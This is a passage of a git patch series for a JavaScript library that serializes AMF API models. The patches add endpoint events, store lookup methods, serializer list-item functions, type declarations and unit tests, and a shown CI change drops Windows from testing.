+++ b/test/serializer/Shapes.test.js
@@ -181,7 +181,7 @@ describe('AmfSerializer', () => {
 
     it('processes a SchemaShape', () => {
       const expects = loader.lookupExpects(api, '/xml', 'post');
-      const payload = loader._computePayload(expects)[0];
+      const payload = expects[loader._getAmfKey(loader.ns.aml.vocabularies.apiContract.payload)][0];
       const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = /** @type ApiSchemaShape */ (serializer.unknownShape(shape));
       assert.equal(result.mediaType, 'application/xml', 'has media type');
@@ -195,7 +195,7 @@ describe('AmfSerializer', () => {
     it('resolves links', () => {
       // takes any operation that has a link-target in the shape
       const expects = loader.lookupExpects(api, '/files/{fileId}/comments', 'post');
-      const payload = loader._computePayload(expects)[0];
+      const payload = expects[loader._getAmfKey(loader.ns.aml.vocabularies.apiContract.payload)][0];
       const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
       assert.equal(result.linkLabel, 'CommentWritable', 'has linkLabel');
@@ -218,7 +218,7 @@ describe('AmfSerializer', () => {
 
     it('processes the oneOf shape (xone)', () => {
       const expects = loader.lookupExpects(api, '/unions', 'patch');
-      const payload = serializer._computePayload(expects)[0];
+      const payload = expects[serializer._getAmfKey(serializer.ns.aml.vocabularies.apiContract.payload)][0];
       const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = serializer.unknownShape(schema);
       // Not sure why is this "any" shape.
@@ -232,7 +232,7 @@ describe('AmfSerializer', () => {
 
     it('processes the allOf shape (and)', () => {
       const expects = loader.lookupExpects(api, '/unions', 'post');
-      const payload = serializer._computePayload(expects)[0];
+      const payload = expects[serializer._getAmfKey(serializer.ns.aml.vocabularies.apiContract.payload)][0];
       const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = serializer.unknownShape(schema);
       assert.include(result.types, serializer.ns.w3.shacl.NodeShape, 'has the NodeShape type');
@@ -244,7 +244,7 @@ describe('AmfSerializer', () => {
 
     it('processes the anyOf shape (or)', () => {
       const returns = loader.lookupReturns(api, '/pet/listCommon', 'get');
-      const payload = serializer._computePayload(returns[0])[0];
+      const payload = returns[0][serializer._getAmfKey(serializer.ns.aml.vocabularies.apiContract.payload)][0];
       const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
       const result = /** @type ApiArrayShape */ (serializer.unknownShape(schema));
       const type = result.items;
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index e741e2a..d64dd0a 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -2,7 +2,7 @@ export default {
   files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
   // files: 'test/elements/ApiServerSelectorElement.test.js',
-  // files: 'test/authorization/CustomMethod.test.js',
+  // files: 'test/elements/SE-12957.test.js',
   nodeResolve: true,
   testFramework: {
     config: {

From 2afe23986c81ffdc843d040659b6c98bfd641aec Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 17:07:21 -0700
Subject: [PATCH 11/36] chore: adding endpoint events and the logic to the
 store

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                      |   3 +
 src/events/EndpointEvents.d.ts             |  24 +++
 src/events/EndpointEvents.js               |  43 ++++++
 src/events/EventTypes.d.ts                 |   7 +
 src/events/EventTypes.js                   |   5 +
 src/events/Events.d.ts                     |   4 +-
 src/events/Events.js                       |   4 +-
 src/helpers/AmfSerializer.d.ts             |  29 +++-
 src/helpers/AmfSerializer.js               |  47 ++++++
 src/store/AmfStore.js                      |  70 +++++++++
 src/store/mixins/AmfStoreDomEventsMixin.js |   2 +
 src/types.d.ts                             |  27 ++++
 test/events/ApiEvents.test.js              |  35 +++++
 test/events/EndpointEvents.test.js         |  95 ++++++++++++
 test/events/EventHelper.js                 |  11 ++
 test/events/EventTypes.test.js             | 167 +++++++++++++++++++++
 test/events/NavigationEvents.test.js       |  61 ++++++++
 17 files changed, 627 insertions(+), 7 deletions(-)
 create mode 100644 src/events/EndpointEvents.d.ts
 create mode 100644 src/events/EndpointEvents.js
 create mode 100644 test/events/ApiEvents.test.js
 create mode 100644 test/events/EndpointEvents.test.js
 create mode 100644 test/events/EventHelper.js
 create mode 100644 test/events/EventTypes.test.js
 create mode 100644 test/events/NavigationEvents.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 53051a7..1096592 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -1,6 +1,9 @@
 {
   "cSpell.words": [
     "amfstoreapisummary",
+    "amfstoreendpointbypath",
+    "amfstoreendpointget",
+    "amfstoreendpointlist",
     "apinavigate",
     "apirequest",
     "apiresponse",
diff --git a/src/events/EndpointEvents.d.ts b/src/events/EndpointEvents.d.ts
new file mode 100644
index 0000000..ae0466d
--- /dev/null
+++ b/src/events/EndpointEvents.d.ts
@@ -0,0 +1,24 @@
+import { ApiEndPointWithOperationsListItem } from '../types';
+import { ApiEndPoint } from '../helpers/api';
+
+declare interface IEndpointEvents {
+  /**
+   * Reads the endpoint model from the store.
+   * @param target The node on which to dispatch the event
+   * @param id The domain id of the endpoint.
+   */
+  get(target: EventTarget, id: string): Promise<ApiEndPoint>;
+  /**
+   * Reads the endpoint model from the store by the path value.
+   * @param target The node on which to dispatch the event
+   * @param path The path of the endpoint.
+   */
+  byPath(target: EventTarget, path: string): Promise<ApiEndPoint>;
+  /**
+   * List all endpoints in the API.
+   * @param target The node on which to dispatch the event
+   */
+  list(target: EventTarget): Promise<ApiEndPointWithOperationsListItem[]>;
+}
+
+export declare const EndpointEvents: Readonly<IEndpointEvents>;
diff --git a/src/events/EndpointEvents.js b/src/events/EndpointEvents.js
new file mode 100644
index 0000000..b6903ac
--- /dev/null
+++ b/src/events/EndpointEvents.js
@@ -0,0 +1,43 @@
+/* eslint-disable max-classes-per-file */
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreContextEvent, ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+
+export const EndpointEvents = {
+  /**
+   * Reads the endpoint model from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The domain id of the endpoint.
+   * @returns {Promise<ApiEndPoint>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Endpoint.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Reads the endpoint model from the store by the path value.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} path The path of the endpoint.
+   * @returns {Promise<ApiEndPoint>}
+   */
+  byPath: async (target, path) => {
+    const e = new ApiStoreReadEvent(EventTypes.Endpoint.byPath, path);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Lists all endpoints with operations included into the result.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<ApiEndPointWithOperationsListItem[]>}
+   */
+  list: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Endpoint.list);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+};
+
+Object.freeze(EndpointEvents);
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index f59e896..0824f91 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -26,12 +26,19 @@ declare interface Navigation {
   apiNavigate: string;
 }
 
+declare interface EndpointEvents {
+  get: string;
+  byPath: string;
+  list: string;
+}
+
 interface IEventTypes {
   Security: Readonly<Security>;
   Request: Readonly<Request>;
   Server: Readonly<Server>;
   Api: Readonly<ApiEvents>;
   Navigation: Readonly<Navigation>;
+  Endpoint: Readonly<EndpointEvents>;
 }
 
 export const EventTypes: Readonly<IEventTypes>;
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index bb89bae..345bc1a 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -24,4 +24,9 @@ export const EventTypes = Object.freeze({
   Navigation: Object.freeze({
     apiNavigate: 'apinavigate',
   }),
+  Endpoint: {
+    get: 'amfstoreendpointget',
+    byPath: 'amfstoreendpointbypath',
+    list: 'amfstoreendpointlist',
+  },
 });
diff --git a/src/events/Events.d.ts b/src/events/Events.d.ts
index a474a90..1c371f6 100644
--- a/src/events/Events.d.ts
+++ b/src/events/Events.d.ts
@@ -1,4 +1,4 @@
-// import { IEndpointEvents } from './EndpointEvents';
+import { IEndpointEvents } from './EndpointEvents';
 // import { IOperationEvents } from './OperationEvents';
 import { IApiEvents } from './ApiEvents';
 import { IServerEvents } from './ServerEvents';
@@ -15,7 +15,7 @@ import { IRequestEvents } from './RequestEvents';
 
 declare interface IEvents {
   Api: IApiEvents;
-  // Endpoint: IEndpointEvents;
+  Endpoint: IEndpointEvents;
   // Operation: IOperationEvents;
   Server: IServerEvents;
   // Documentation: IDocumentationEvents;
diff --git a/src/events/Events.js b/src/events/Events.js
index 83f8da7..fe28206 100644
--- a/src/events/Events.js
+++ b/src/events/Events.js
@@ -1,5 +1,5 @@
 // import { StoreEvents } from './StoreEvents.js';
-// import { EndpointEvents } from './EndpointEvents.js';
+import { EndpointEvents } from './EndpointEvents.js';
 // import { OperationEvents } from './OperationEvents.js';
 import { ApiEvents } from './ApiEvents.js';
 import { ServerEvents } from './ServerEvents.js';
@@ -16,7 +16,7 @@ import { RequestEvents } from './RequestEvents.js';
 
 export const Events = {
   Api: ApiEvents,
-  // Endpoint: EndpointEvents,
+  Endpoint: EndpointEvents,
   // Operation: OperationEvents,
   Server: ServerEvents,
   // Documentation: DocumentationEvents,
diff --git a/src/helpers/AmfSerializer.d.ts b/src/helpers/AmfSerializer.d.ts
index a3250ac..c94f572 100644
--- a/src/helpers/AmfSerializer.d.ts
+++ b/src/helpers/AmfSerializer.d.ts
@@ -7,7 +7,8 @@ import {
   PropertyShape, RecursiveShape, Request, Response, ScalarNode, ScalarShape, SchemaShape,
   Scope, SecurityRequirement, SecurityScheme, Server, Settings, Shape, SynthesizedField,
   Tag, TemplatedLink, TupleShape, UnionShape, Api, WebApi, AsyncApi, Organization, License,
-} from "./amf.js";
+  ParametrizedDeclaration, ParametrizedTrait, ParametrizedResourceType, VariableValue, AbstractDeclaration,
+} from "./amf";
 import {
   ApiAnyShape, ApiArrayNode, ApiArrayShape, ApiCallback, ApiCustomDomainProperty, ApiDataArrangeShape,
   ApiDataNode, ApiDataNodeUnion, ApiDocumentation, ApiDocumentSourceMaps, ApiEndPoint, ApiExample,
@@ -18,8 +19,13 @@ import {
   ApiSecurityOpenIdConnectSettings, ApiSecurityRequirement, ApiSecurityScheme, ApiSecurityScope,
   ApiSecuritySettings, ApiSecuritySettingsUnion, ApiServer, ApiShape, ApiShapeUnion, ApiSynthesizedField,
   ApiTag, ApiTupleShape, ApiUnionShape, ApiXMLSerializer, ApiOrganization, ApiSummary, ApiBase,
-  ApiWeb, ApiAsync, ApiLicense,
-} from "./types.js";
+  ApiWeb, ApiAsync, ApiLicense, ApiParametrizedDeclaration, ApiParametrizedTrait, ApiParametrizedResourceType,
+  ApiVariableValue, ApiAbstractDeclaration,
+} from "./api";
+import {
+  ApiEndPointWithOperationsListItem,
+  ApiOperationListItem,
+} from '../types'
 
 /**
  * A class that takes AMF's ld+json model and outputs JavaScript interface of it.
@@ -179,4 +185,21 @@ export declare class AmfSerializer extends AmfHelperMixin(Object) {
    */
   sourceMap(object: DocumentSourceMaps): ApiDocumentSourceMaps | undefined;
   synthesizedField(object: SynthesizedField): ApiSynthesizedField;
+  parametrizedDeclaration(object: ParametrizedDeclaration): ApiParametrizedDeclaration;
+  parametrizedTrait(object: ParametrizedTrait): ApiParametrizedTrait;
+  parametrizedResourceType(object: ParametrizedResourceType): ApiParametrizedResourceType;
+  variableValue(object: VariableValue): ApiVariableValue;
+  abstractDeclaration(object: AbstractDeclaration): ApiAbstractDeclaration;
+
+  /**
+   * @param object The EndPoint to serialize as a list item.
+   * @returns Serialized EndPoint as a list item.
+   */
+  endPointWithOperationsListItem(object: EndPoint): ApiEndPointWithOperationsListItem;
+
+  /**
+   * @param object The Operation to serialize as a list item.
+   * @returns Serialized Operation as a list item.
+   */
+  operationListItem(object: Operation): ApiOperationListItem;
 }
diff --git a/src/helpers/AmfSerializer.js b/src/helpers/AmfSerializer.js
index f6aff63..595d5a1 100644
--- a/src/helpers/AmfSerializer.js
+++ b/src/helpers/AmfSerializer.js
@@ -115,6 +115,8 @@ import { AmfHelperMixin, expandKey, findAmfType, getArrayItems } from "./AmfHelp
 /** @typedef {import('./amf').AbstractDeclaration} AbstractDeclaration */
 /** @typedef {import('./amf').Organization} Organization */
 /** @typedef {import('./amf').License} License */
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../types').ApiOperationListItem} ApiOperationListItem */
 
 /**
  * A class that takes AMF's ld+json model and outputs JavaScript interface of it.
@@ -2233,4 +2235,49 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     }
     return result;
   }
+
+  /**
+   * @param {EndPoint} object The EndPoint to serialize as a list item.
+   * @returns {ApiEndPointWithOperationsListItem} Serialized EndPoint as a list item.
+   */
+  endPointWithOperationsListItem(object) {
+    const { ns } = this;
+    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path);
+
+    const result = /** @type ApiEndPointWithOperationsListItem */ ({
+      id: object['@id'],
+      path,
+      operations: [],
+    });
+    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation);
+    if (Array.isArray(operations) && operations.length) {
+      result.operations = operations.map(i => this.operationListItem(/** @type Operation */ (i)));
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    return result;
+  }
+
+  /**
+   * @param {Operation} object The Operation to serialize as a list item.
+   * @returns {ApiOperationListItem} Serialized Operation as a list item.
+   */
+  operationListItem(object) {
+    const result = /** @type ApiOperationListItem */ ({
+      id: object['@id'],
+      method: '',
+    });
+    const { ns } = this;
+    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method);
+    if (method && typeof method === 'string') {
+      result.method = method;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    return result;
+  }
 }
diff --git a/src/store/AmfStore.js b/src/store/AmfStore.js
index 57f84f4..07542fc 100644
--- a/src/store/AmfStore.js
+++ b/src/store/AmfStore.js
@@ -4,6 +4,8 @@ import { AmfSerializer } from '../helpers/AmfSerializer.js';
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
 
 /**
  * The store that provides an API to read data from the AMF graph model.
@@ -51,4 +53,72 @@ export class AmfStore extends AmfHelperMixin(Object) {
     const result = this.serializer.apiSummary(amf);
     return result;
   }
+
+  /**
+   * Reads an endpoint by its id.
+   * @param {string} id The domain id of the endpoint.
+   * @returns {Promise<ApiEndPoint|null>} 
+   */
+  async getEndpoint(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoint = this._computeEndpointModel(api, id);
+    if (!endpoint) {
+      throw new Error(`Endpoint ${id} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+
+  /**
+   * Reads an endpoint by its path.
+   * @param {string} path The path value of the endpoint or channel name.
+   * @returns {Promise<ApiEndPoint|null>} 
+   */
+  async getEndpointByPath(path) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      throw new Error(`This API has no endpoints.`);
+    }
+    const endpoint = endpoints.find((e) => this._getValue(e, this.ns.aml.vocabularies.apiContract.path) === path);
+    if (!endpoint) {
+      throw new Error(`Endpoint ${endpoint} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+
+  /**
+   * Lists all endpoints with operations included into the result.
+   * @returns {Promise<ApiEndPointWithOperationsListItem[]>}
+   */
+  async listEndpointsWithOperations() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      return [];
+    }
+    return endpoints.map((ep) => this.serializer.endPointWithOperationsListItem(ep));
+  }
 }
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.js b/src/store/mixins/AmfStoreDomEventsMixin.js
index 32eb157..02dc0c8 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.js
+++ b/src/store/mixins/AmfStoreDomEventsMixin.js
@@ -11,6 +11,8 @@ export const eventHandler = Symbol('eventHandler');
  */
 const eventsMap = {
   [EventTypes.Api.summary]: { target: 'apiSummary' },
+  [EventTypes.Endpoint.get]: { target: 'getEndpoint', args: ['id'], },
+  [EventTypes.Endpoint.byPath]: { target: 'getEndpointByPath', args: ['id'], },
 };
 
 /**
diff --git a/src/types.d.ts b/src/types.d.ts
index 4d899ec..c8d3b96 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -344,3 +344,30 @@ export interface ApiSchemaReadOptions {
    */
   fromExamples?: boolean;
 }
+
+export interface ApiEndPointListItem {
+  /**
+   * The domain id of the endpoint.
+   * It may be undefined when the endpoint is created "abstract" endpoint vor the visualization.
+   */
+  id?: string;
+  path: string;
+  name?: string;
+}
+
+export interface ApiEndPointWithOperationsListItem extends ApiEndPointListItem {
+  operations: ApiOperationListItem[];
+}
+
+export interface ApiOperationListItem {
+  id: string;
+  method: string;
+  name?: string;
+}
+
+export interface ApiEndpointsTreeItem extends ApiEndPointWithOperationsListItem {
+  label: string;
+  indent: number;
+  hasShortPath?: boolean;
+  hasChildren?: boolean;
+}
diff --git a/test/events/ApiEvents.test.js b/test/events/ApiEvents.test.js
new file mode 100644
index 0000000..177dd37
--- /dev/null
+++ b/test/events/ApiEvents.test.js
@@ -0,0 +1,35 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+  async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('Events.Api', () => {
+    describe('summary()', () => {
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Api.summary, spy);
+        Events.Api.summary(et);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('waits until resolved', async () => {
+        const et = await etFixture();
+        const data = { id: 'test' };
+        et.addEventListener(EventTypes.Api.summary, (e) => {
+          // @ts-ignore
+          e.detail.result = Promise.resolve(data);
+        });
+        const result = await Events.Api.summary(et);
+        assert.deepEqual(result, data);
+      });
+    });
+  });
+});
diff --git a/test/events/EndpointEvents.test.js b/test/events/EndpointEvents.test.js
new file mode 100644
index 0000000..0d946eb
--- /dev/null
+++ b/test/events/EndpointEvents.test.js
@@ -0,0 +1,95 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+  async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('Events.Endpoint', () => {
+    describe('get()', () => {
+      const id = 'amf://id';
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Endpoint.get, spy);
+        Events.Endpoint.get(et, id);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the "id" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Endpoint.get, spy);
+        Events.Endpoint.get(et, id);
+        assert.deepEqual(spy.args[0][0].detail.id, id);
+      });
+
+      it('waits until resolved', async () => {
+        const et = await etFixture();
+        const data = /** @type any */ ({ test: true });
+        et.addEventListener(EventTypes.Endpoint.get, (e) => {
+          // @ts-ignore
+          e.detail.result = Promise.resolve(data);
+        });
+        const result = await Events.Endpoint.get(et, id);
+        assert.deepEqual(result, data);
+      });
+    });
+
+    describe('byPath()', () => {
+      const path = 'amf://id';
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Endpoint.byPath, spy);
+        Events.Endpoint.byPath(et, path);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the "id" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Endpoint.byPath, spy);
+        Events.Endpoint.byPath(et, path);
+        assert.deepEqual(spy.args[0][0].detail.id, path);
+      });
+
+      it('waits until resolved', async () => {
+        const et = await etFixture();
+        const data = /** @type any */ ({ test: true });
+        et.addEventListener(EventTypes.Endpoint.byPath, (e) => {
+          // @ts-ignore
+          e.detail.result = Promise.resolve(data);
+        });
+        const result = await Events.Endpoint.byPath(et, path);
+        assert.deepEqual(result, data);
+      });
+    });
+
+    describe('list()', () => {
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Endpoint.list, spy);
+        Events.Endpoint.list(et);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('waits until resolved', async () => {
+        const et = await etFixture();
+        et.addEventListener(EventTypes.Endpoint.list, (e) => {
+          // @ts-ignore
+          e.detail.result = Promise.resolve();
+        });
+        await Events.Endpoint.list(et);
+      });
+    });
+  });
+});
diff --git a/test/events/EventHelper.js b/test/events/EventHelper.js
new file mode 100644
index 0000000..03285c2
--- /dev/null
+++ b/test/events/EventHelper.js
@@ -0,0 +1,11 @@
+// The event names should be unique across all events in all modules.
+const names = [];
+
+export function ensureUnique(namespace, src) {
+  for (const [key, value] of Object.entries(src)) {
+    if (names.includes(value)) {
+      throw new Error(`${namespace}.${key} has duplicated event name ${value}`);
+    }
+    names.push(value);
+  }
+}
diff --git a/test/events/EventTypes.test.js b/test/events/EventTypes.test.js
new file mode 100644
index 0000000..274ff3e
--- /dev/null
+++ b/test/events/EventTypes.test.js
@@ -0,0 +1,167 @@
+import { assert } from '@open-wc/testing';
+import { EventTypes } from  '../../index.js';
+import { ensureUnique } from './EventHelper.js';
+
+describe('EventTypes', () => {
+  describe('Api', () => {
+    it('has Api namespace', () => {
+      assert.typeOf(EventTypes.Api, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Api = { read: '' };
+      });
+    });
+
+    [
+      ['summary', 'amfstoreapisummary'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Api[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Api', EventTypes.Api);
+    });
+  });
+
+  describe('Endpoint', () => {
+    it('has Endpoint namespace', () => {
+      assert.typeOf(EventTypes.Endpoint, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Endpoint = { read: '' };
+      });
+    });
+
+    [
+      ['get', 'amfstoreendpointget'],
+      ['byPath', 'amfstoreendpointbypath'],
+      ['list', 'amfstoreendpointlist'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Endpoint[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Endpoint', EventTypes.Endpoint);
+    });
+  });
+
+  describe('Navigation', () => {
+    it('has Navigation namespace', () => {
+      assert.typeOf(EventTypes.Navigation, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Navigation = { read: '' };
+      });
+    });
+
+    [
+      ['apiNavigate', 'apinavigate'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Navigation[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Navigation', EventTypes.Navigation);
+    });
+  });
+
+  describe('Server', () => {
+    it('has Server namespace', () => {
+      assert.typeOf(EventTypes.Server, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Server = { read: '' };
+      });
+    });
+
+    [
+      ['serverChange', 'apiserverchanged'],
+      ['serverCountChange', 'serverscountchanged'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Server[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Server', EventTypes.Server);
+    });
+  });
+
+  describe('Security', () => {
+    it('has Security namespace', () => {
+      assert.typeOf(EventTypes.Security, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Security = { read: '' };
+      });
+    });
+
+    [
+      ['settingsChanged', 'securitysettingsinfochanged'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Security[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Security', EventTypes.Security);
+    });
+  });
+
+  describe('Request', () => {
+    it('has Request namespace', () => {
+      assert.typeOf(EventTypes.Request, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Request = { read: '' };
+      });
+    });
+
+    [
+      ['apiRequest', 'apirequest'],
+      ['apiRequestLegacy', 'api-request'],
+      ['abortApiRequest', 'apiabort'],
+      ['abortApiRequestLegacy', 'abort-api-request'],
+      ['apiResponse', 'apiresponse'],
+      ['apiResponseLegacy', 'api-response'],
+      ['redirectUriChange', 'oauth2redirecturichange'],
+      ['redirectUriChangeLegacy', 'oauth2-redirect-uri-changed'],
+      ['populateAnnotatedFields', 'populateannotatedfields'],
+      ['populateAnnotatedFieldsLegacy', 'populate_annotated_fields'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Request[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Request', EventTypes.Request);
+    });
+  });
+});
diff --git a/test/events/NavigationEvents.test.js b/test/events/NavigationEvents.test.js
new file mode 100644
index 0000000..6d75f58
--- /dev/null
+++ b/test/events/NavigationEvents.test.js
@@ -0,0 +1,61 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+  async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('Events.Navigation', () => {
+    describe('apiNavigate()', () => {
+      const domainId = 'amf://id';
+      const domainType = 'operation';
+      const parentId = 'amf://other';
+      const passive = false;
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        Events.Navigation.apiNavigate(et, domainId, domainType);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the "domainId" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        Events.Navigation.apiNavigate(et, domainId, domainType);
+        assert.deepEqual(spy.args[0][0].detail.domainId, domainId);
+      });
+
+      it('the event has the "domainType" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        Events.Navigation.apiNavigate(et, domainId, domainType);
+        assert.deepEqual(spy.args[0][0].detail.domainType, domainType);
+      });
+
+      it('the event has the "parentId" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        Events.Navigation.apiNavigate(et, domainId, domainType, parentId);
+        assert.deepEqual(spy.args[0][0].detail.parentId, parentId);
+      });
+
+      it('the event has the "passive" property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        Events.Navigation.apiNavigate(et, domainId, domainType, parentId, passive);
+        assert.deepEqual(spy.args[0][0].detail.passive, passive);
+      });
+    });
+  });
+});

From 17d515e2fcb4cbc61d692506e85bba4bb749b2c5 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Mon, 11 Oct 2021 17:35:36 -0700
Subject: [PATCH 12/36] ci: removing Windows from tests

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .github/workflows/deployment.yml | 40 ++++++++++++++++----------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/.github/workflows/deployment.yml b/.github/workflows/deployment.yml
index faf5a55..c7aadc7 100644
--- a/.github/workflows/deployment.yml
+++ b/.github/workflows/deployment.yml
@@ -31,31 +31,31 @@ jobs:
         run: npm ci
       - name: Run tests
         run: npm test
